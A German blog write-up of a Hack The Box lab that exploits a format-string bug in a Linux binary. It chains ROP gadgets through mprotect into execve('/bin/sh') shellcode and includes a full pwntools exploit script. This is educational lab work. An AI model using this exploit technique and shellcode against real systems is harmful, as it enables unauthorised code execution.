Articles

1. ROP in einer Format-String Schwachstelle

Planted May 9, 2025

Während eines Labs bei HTB bin ich auf eine interessante Schwachstelle gestoßen.
Dabei handelte es sich um eine Format-String-Schwachstelle mit einigen Besonderheiten.

Anmerkung:
Aufgrund der ToS von HTB darf ich nicht sagen, um welches Lab, welche Challenge oder welches ProLab es sich handelt. Deshalb sind einige Bilder und Namen unkenntlich gemacht. Ziel dieses Artikels ist es, das Konzept und die Vorgehensweise zu vermitteln.


🔍 Die Anwendung und Checksec

Bei der Anwendung handelt es sich um ein Linux-Programm, das auf der Konsole ausgeführt wird. Ich nenne es App:

┌──(user㉿Linux)-[~]
└─$ file app                                                  
app: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=<SNIP>, not stripped                  

Es handelt sich also um eine ausführbare 64-Bit-ELF-Datei für Linux. Die libc wurde statisch gelinkt, d. h. sie ist Bestandteil der Anwendung (im Gegensatz zum dynamischen Linken, bei dem die libc des jeweiligen Betriebssystems genutzt wird).

Nun wird geprüft, welche Schutzmechanismen bei der Kompilierung aktiviert wurden. Dazu verwende ich checksec aus pwntools:

checksec von der Datei app

Wichtig sind folgende Einstellungen:

  • NX enabled: Der Stack ist nicht ausführbar.
  • Canary found: Am Anfang eines Funktionsaufrufs wird ein zufälliger Wert auf den Stack gelegt, der am Ende der Funktion überprüft wird. Hat sich dieser Wert verändert, gilt der Stack als kompromittiert und das Programm beendet sich.
  • No PIE: ASLR ist nicht aktiviert. Die Adressen bleiben also nach jedem Neustart gleich. Das erleichtert die Exploit-Entwicklung.
  • Stripped No: Debug-Informationen wurden nicht entfernt. Das erleichtert das Reverse Engineering.

In diesem Szenario spielt der Canary eine untergeordnete Rolle. NX hingegen verhindert, dass Shellcode auf dem Stack ausgeführt wird.

Ein Assembler-Snippet wie:

jmp RSP

würde daher nicht funktionieren und zu einem Absturz führen. Darauf komme ich später zurück.

Wir behalten die Sicherheitsmechanismen im Hinterkopf, sobald wir die Art der Schwachstelle genauer untersucht haben.

🖥️ Ausführung des Programmes

Nach der statischen Analyse folgt die Ausführung. Ziel ist ein grundlegendes Verständnis der Funktionsweise und angebotenen Features. Insbesondere interessiert, welche Eingaben (z. B. Nutzer, Dateisystem, Netzwerk) die Anwendung erwartet.

start_app

Die Anwendung begrüßt uns mit einem Banner. Offenbar handelt es sich um ein Programm, das Berechnungen durchführt. Zunächst wird ein Name abgefragt.

start app hours

Anschließend gebe ich die Anzahl der gearbeiteten Stunden ein.

start app report

Nach Eingabe der Stunden (hier 20) berechnet das Programm eine Summe, erstellt einen Report und fragt, ob man es beenden möchte (Y oder N).

Ein kurzer Test mit langen Eingaben und Format-String-Zeichen führte zu keinem Ergebnis. Zeit fürs Reverse Engineering.

🐞 Bug Hunting mit IDA Pro

Für das Reverse Engineering kam IDA Pro zum Einsatz (Ghidra wäre ebenfalls geeignet). Nach dem Laden der Anwendung zeigt sich folgende Struktur:

Struktur in IDA

Die Anwendung wirkt nicht besonders komplex. Die Main-Funktion enthält u. a. eine Variable NOTES, die mit 0 initialisiert und per memset auf 1000 Bytes gesetzt wird.

mov     edx, 3E8h
mov     esi, 0
mov     edi, offset NOTES
call    memset

Anschließend erfolgt das Einlesen für Name und Hours Worked . Hours Worked wird dann in ein Integer umgewandelt:

sub     rax, 1
mov     [rbp+rax+var_30], 0
lea     rax, [rbp+var_30]
mov     rdi, rax
call    atoi
mov     [rbp+var_4C], eax
cmp     [rbp+var_4C], 0
jnz     short loc_4015CC

Liefert atoi einen Fehler (eax == 0), erfolgt eine Fehlerausgabe:

<SNIP>
mov     esi, offset aInvalidHours 
mov     edi, offset aInvalidHours 
call    log_error
mov     rax, cs:stdout
mov     rdi, rax
call    fflush
jmp     loc_4014C1

Liefert atoi den Integerwert, wird die Summe ausgegeben – wie bereits oben gesehen. Ist die Summe 0 oder kleiner, wird eine Fehlermeldung ausgegeben und in die Datei log.txt geschrieben:

mov     eax, [rbp+var_48]
mov     edx, eax
mov     eax, [rbp+var_4C]
imul    eax, edx
mov     [rbp+var_52], ax
...<SNIP>...
cmp     [rbp+var_52], 0
jle     loc_401762
loc_401762:
mov     edi, offset aAnErrorHasOccu  
call    puts
mov     edi, offset aLoggingDetails 
call    puts
...<SNIP>...
mov     edi, offset aInvalidPayResu
call    log_error
<SNIP>

Ist die Summe größer als 0, kommt eine interessante Prüfung:

cmp     [rbp+var_4C], 28h
jle     short loc_40166A

In var_4c steht der Wert von Hours Worked. Ist dieser größer als 0x28 (= 40), so erreicht man einen Codeblock, den wir oben nicht gesehen haben:

mov     eax, [rbp+var_4C]
sub     eax, 28h 
mov     [rbp+var_50], eax
...<SNIP>...
call    printf
mov     edi, offset aReasonForOvert 
mov     eax, 0
call    printf
mov     edx, 3E8h
mov     esi, offset NOTES
mov     edi, 0
call    read
mov     eax, [rbp+var_48]

Man schreibt in die Variable NOTES mit einer Länge von 1000. Es soll ein Grund für die hohe Stundenzahl angegeben werden. Okay, das merken wir uns.

Anschließend erfolgt die Ausgabe des Reports wie oben. Interessant ist dabei folgendes:

...<SNIP>...
mov     edi, offset aHoursWorkedD 
mov     eax, 0
call    printf
cmp     [rbp+var_50], 0
jz      short loc_4016EF

Die letzten beiden Zeilen prüfen, ob var_50 größer als 0 ist. Das ist genau dann der Fall, wenn Hours Worked größer als 40 ist, wie wir oben sahen:

mov     eax, [rbp+var_4C]
sub     eax, 28h 
mov     [rbp+var_50], eax

var_4c hat den Wert von HOURS WORKED. Dieser wird dann mit 40 subtrahiert und anschließend in EAX geschrieben. Danach wird EAX in die lokale Variable var_50 gespeichert.

Ist also HOURS WORKED größer als 40, erreichen wir einen weiteren, zusätzlichen Codeblock. Interessant ist dabei folgender Ausschnitt:

...<SNIP>...
mov     edi, offset aReason 
call    puts
mov     edi, offset NOTES
mov     eax, 0
call    printf
...<SNIP>...

In der Zeile drei wird die Adresse von Variable NOTES in EDI geschrieben. Anschließend wird EAX mit 0 initialisiert und printf aufgerufen. Wie bereits oben gesehen, befindet sich NOTES unter unserer Kontrolle. Weitere Prüfungen oder Sanitarisierungen erfolgen nicht.

Somit haben wir hier wohl eine klassische Formatstring-Schwachstelle gefunden. Das muss jetzt mit einem (schnellen) Test untermauert werden:

Formatstring Schwachstelle

In der Tat haben wir eine Formatstring Schwachstelle gefunden. Es werden hier Werte (Adressen) ausgegeben, die wohl vom Stack stammen.

🧪 Dynamische Codeanalyse mit GDB

Um das Verhalten der Anwendung zur Laufzeit genauer zu untersuchen, nutze ich den GNU Debugger (GDB) zusammen mit der Erweiterung PEDA, die hilfreiche Visualisierungen und Funktionen für die Exploit-Entwicklung bietet.

$ gdb -q app
Reading symbols from app...
(No debugging symbols found in app)
gdb-peda$

Nach dem Start mit r zeigt sich das Programmverhalten wie erwartet: img_1.png

Da es sich um eine Format-String-Schwachstelle handelt, muss ermittelt werden, ab welcher Position im Format-String der Stack manipuliert werden kann. img.png

Die Werte BBBB (0x42) und DDDD (0x44) tauchen im Speicher auf, CCCC hingegen nicht. Wir merken uns: Es existiert manipulierbarer Stack-Inhalt.

Ein klassischer Exploit würde nun Shellcode auf dem Stack platzieren und dorthin springen. Doch durch NX ist das Ausführen von Stack-Code nicht möglich. Alternativen:

  • ret2libc
  • ROP (Return Oriented Programming)

🧬 Lesen der Adressen vom Stack mit Format Strings

Nächstes Ziel: Herausfinden, wo auf dem Stack die Rücksprungadresse liegt. Diese Adresse entscheidet, wohin die Ausführung nach Funktionsende springt – und ist daher das primäre Ziel vieler Exploits.

Mithilfe von IDA identifiziere ich die relevante Stelle (0x4016FA) kurz vor dem printf-Aufruf und setze dort einen Breakpoint:

img_2.png

Das ist unmittelbar vor der printf-Funktion.

gdb-peda$ b *0x4016FA
Breakpoint 1 at 0x4016fa

Durch Eingabe vieler %x-Formatangaben wird der Stack sichtbar: img_3.png

Unter den Ausgaben findet sich die Rücksprungadresse: img_4.png

Ein Gegencheck mit backtrace bestätigt die Adresse: img_5.png

Schließlich finde ich heraus, dass die Rücksprungadresse an der 41. Position im Format-String liegt (%41$x).

img_6.png

img_7.png

Zwischenfazit

Wir wissen nun:

  1. Es gibt eine Format-String-Schwachstelle.
  2. Der Stack ist nicht ausführbar (NX).
  3. Wir können Speicheradressen kontrolliert auslesen.
  4. Die Rücksprungadresse befindet sich bei Format-String-Position 41.

Offen bleiben:

  • Wo lässt sich Payload platzieren?
  • Wie kann dieser Payload aufgerufen werden?
  • Wie umgehen wir NX?

🛠️ Schreiben in Speicheradressen mit Format Strings

Format-Strings erlauben auch Schreiben, nicht nur Lesen. Dafür dient %n:

%n speichert die Anzahl bisher ausgegebener Zeichen in die Adresse, auf die der aktuelle Parameter verweist.

Beispiel:

AAAA%n schreibt die Zahl 4 in die Adresse, die von %n referenziert wird.

In unserem Fall wäre der erste Ansatz, die Rücksprungadresse an Position 41 zu überschreiben. Das Problem: Nur Byteweise ließ sich stabil schreiben. Mehrere Bytes führten zu Abstürzen. Da wir im 64-Bit-Kontext (8-Byte-Adressen) arbeiten, ist das ein Problem. Zudem verhindert NX weiterhin direkten Shellcode auf dem Stack.

ROP-Chaining

Die Lösung: ROP.

Da wir die Eingabe (Name) in den Stack schreiben können, lässt sich diese als Adresse verwenden. Mit %n können wir in beliebige Speicherbereiche schreiben.

Das Ziel ist, mithilfe von mprotect den Stackbereich als ausführbar zu markieren. Anschließend können wir dort Shellcode ausführen.

ROP-Chain Aufbau

1. pop rdi ; ret
2. Stack-Adresse auf dem Stack für pop rdi; Stack muss auf 0x1000 aligned sein.
3. pop rsi ; ret
4. Länge auf dem Stack für rsi (default: 0x1000)
5. pop rdx ; ret
6. PROT_EXEC. 0x7 = READ|WRITE|EXECUTE
7. Addresse von mprotect
8. jmp rsp
9. Shellcode
  • pop rdi → Speicheradresse für mprotect
  • pop rsi → Länge des Bereichs
  • pop rdx → Zugriffsrechte
  • mprotect → setzt die Rechte
  • jmp rsp → springt in den Shellcode

Die Adresse von mprotect finde ich z. B. über:

objdump -d app | grep "mprotect"
  ...SNIP...
000000000043bf50 <__mprotect>:
  ...SNIP...

Hier wäre die Adresse 0x43bf50.

Anschließend ermittele ich die Adressen zu den Gadgets mit Hilfe von ROPGadget:

ROPgadget --binary app  | grep -i "ret"

Shellcode

Der Shellcode nutzt sys_execve, um /bin/sh zu starten:

xor    rax, rax
movabs rbx, 0x68732f6e69622f2f
push   rax
push   rbx
mov    rdi, rsp
xor    rsi, rsi
xor    rdx, rdx
mov    al, 59
syscall

Ergebnis: Eine interaktive Shell.

📦 Exploit entwickeln mit Python und pwntools

Das manuelle Ausnutzen ist fehleranfällig und zeitintensiv. Mit Python und pwntools lässt sich der Ablauf robuster automatisieren.

Setup

Wir binden pwntools ein, definieren Zielhost/-port, laden das ELF (inkl. checksec) und setzen einige Konstanten:

from pwn import *
from struct import pack

host = "127.0.0.1"
port = 1234

elf = ELF("/tmp/app", checksec=True)
context.log_level = "INFO"
context.arch = "amd64"

mprotect = elf.sym.mprotect
offset = b"6"  # Format-String-Offset für %n (%<Wert>c%6$hhn)

Rücksprungadresse ermitteln

Als Nächstes brauchen wir die Rücksprungadresse (RIP) im aktuellen Kontext. Diese bildet den Ankerpunkt für unsere ROP-Chain:

def get_ret_address(p: process|remote) -> tuple[int, int]:
    p.sendlineafter(b"<REDACTED> NAME: ", b"AAAABBBBCCCCDDDD")
    p.sendlineafter(b"HOURS WORKED: ", b"60")
    p.sendlineafter(b"REASON FOR <REDACTED>: ", b"%33$p")
    p.recvuntil(b"REASON:")
    stack_address = int(p.recvuntil(b"TOTAL <REDACTED>:").strip().split(b"\n")[0], 16) # stack address under my control
    print(p.sendlineafter(b"EXIT (Y/N): ", b""))
    return (stack_address + 0x118), stack_address+8

Hinweis: In GDB verschieben zusätzliche Umgebungsvariablen oft die Format-String-Positionen. Im Debug-Kontext war die Rücksprungadresse bei %41$x, außerhalb davon bei %33$p. Die korrekte Position wurde hier empirisch (Trial & Error) ermittelt.

Byteweises Schreiben per %n (hhn)

Stabil ließ sich in diesem Fall nur byteweise schreiben. Wir nutzen %hhn (Modulus 256) und inkrementieren die Zieladresse nach jedem Byte.

def overwrite_stack(write_address: int, target_value: bytes, p: process | remote):
    new_write_address = write_address
    save_target_address = target_value

    for i in range(len(target_value)):
        target_address_byte = int(target_value[i])
        new_write_address = write_address + i
        p.sendlineafter(b"<REDACTED> NAME: ", p64(new_write_address))
        p.sendlineafter(b"HOURS <REDACTED>: ", b"60")
        if target_address_byte == 0: # special case for value 0
            p.sendlineafter(b"REASON FOR <REDACTED>: ", b"%256c%" + offset + b"$hhn") # hhn => 256 % 256 = 0 => Write 0 since hhn performs a modulus operation with 256
        else:
            p.sendlineafter(b"REASON FOR <REDACTED>: ", b"%" + str(target_address_byte).encode() + b"c%" + offset + b"$n")
        p.sendlineafter(b"EXIT (Y/N): ", b"")

        # target_value = target_value >> 8 # shift right 8 bits for taking the next byte.

    # Clear buffer
    p.sendlineafter(b"<REDACTED> NAME: ", b"XY")
    p.sendlineafter(b"HOURS <REDACTED> : ", b"60")
    p.sendlineafter(b"REASON FOR <REDACTED>: ", b"                       ")
    p.sendlineafter(b"EXIT (Y/N): ", b"")

    new_write_address = new_write_address + 1  # new RIP for rop chain

    return new_write_address```

Shellcode

Wir verwenden einen kompakten execve("/bin/sh")-Shellcode (SYSCALL 59):

shellcode = asm('''
        xor    rax, rax
        movabs rbx, 0x68732f6e69622f2f
        push   rax
        push   rbx
        mov    rdi, rsp
        xor    rsi, rsi
        xor    rdx, rdx
        mov    al, 59
        syscall''')

ROP-Chain aufbauen

Die Chain markiert einen Stack-Bereich als RXW mittels mprotect, springt dann mit jmp rsp in den Shellcode:

def build_rop_and_trigger(p: process | remote):
    # 1) Rücksprungadresse (Startpunkt) und kontrollierte Stackbasis ermitteln
    ret_address, stack_base = get_ret_address(p)

    # 2) Gadgets/Adressen (Beispielwerte aus der Analyse)
    POP_RDI   = 0x0000000000401d93  # pop rdi ; ret
    POP_RSI   = 0x0000000000401ea7  # pop rsi ; ret
    POP_RDX   = 0x000000000043e345  # pop rdx ; ret
    JMP_RSP   = 0x000000000049d9c3  # jmp rsp
    LENGTH    = 0x1000              # Größe des zu schützenden Bereichs
    PROT_EXEC = 0x7                 # PROT_READ | PROT_WRITE | PROT_EXEC

    # 3) ROP schreiben (byteweise), beginnend an der Rücksprungadresse
    #    a) pop rdi ; ret
    ret_address = overwrite_stack(ret_address, p64(POP_RDI), p)
    #    b) Seiten-aligned Stackadresse (mprotect verlangt 0x1000-Alignment)
    ret_address = overwrite_stack(ret_address, p64(stack_base & ~0xfff), p)
    #    c) pop rsi ; ret
    ret_address = overwrite_stack(ret_address, p64(POP_RSI), p)
    #    d) Länge
    ret_address = overwrite_stack(ret_address, p64(LENGTH), p)
    #    e) pop rdx ; ret
    ret_address = overwrite_stack(ret_address, p64(POP_RDX), p)
    #    f) Protection Flags
    ret_address = overwrite_stack(ret_address, p64(PROT_EXEC), p)
    #    g) mprotect()-Adresse
    ret_address = overwrite_stack(ret_address, p64(mprotect), p)
    #    h) jmp rsp (springt in den nachfolgenden Shellcode)
    ret_address = overwrite_stack(ret_address, p64(JMP_RSP), p)
    #    i) Shellcode direkt hinter die Chain
    ret_address = overwrite_stack(ret_address, shellcode, p)

    # 4) Menüzustand sauber verlassen → Rücksprung auslösen
    exit_program(p)

    # 5) Interaktiv auf die Shell wechseln
    p.interactive()

Eine mögliche exit_program-Hilfsfunktion, falls das Menü eine Abschlussinteraktion verlangt:

def exit_program(p: process | remote):
    try:
        p.sendlineafter(b"EXIT (Y/N): ", b"Y")
    except EOFError:
        pass

Ergebnis: Nach mprotect ist der Stackbereich ausführbar; jmp rsp übergibt in den Shellcode, der /bin/sh startet.

img.png

Fazit

Das Finden der Schwachstelle war herausfordernd, spannend und hat viel Spaß gemacht. Auf die Format-String-Schwachstelle stößt man relativ leicht. Schwieriger war die Tatsache, dass Angabe der Zieladresse und Schreibvorgang in unterschiedlichen Abfragen stattfanden. Zudem mussten Hürden wie NX und das byteweise Schreiben überwunden werden.

Insgesamt war es eine lehrreiche Aufgabe, die mir erneut tiefere Einblicke in Exploits im Linux-Umfeld verschafft hat.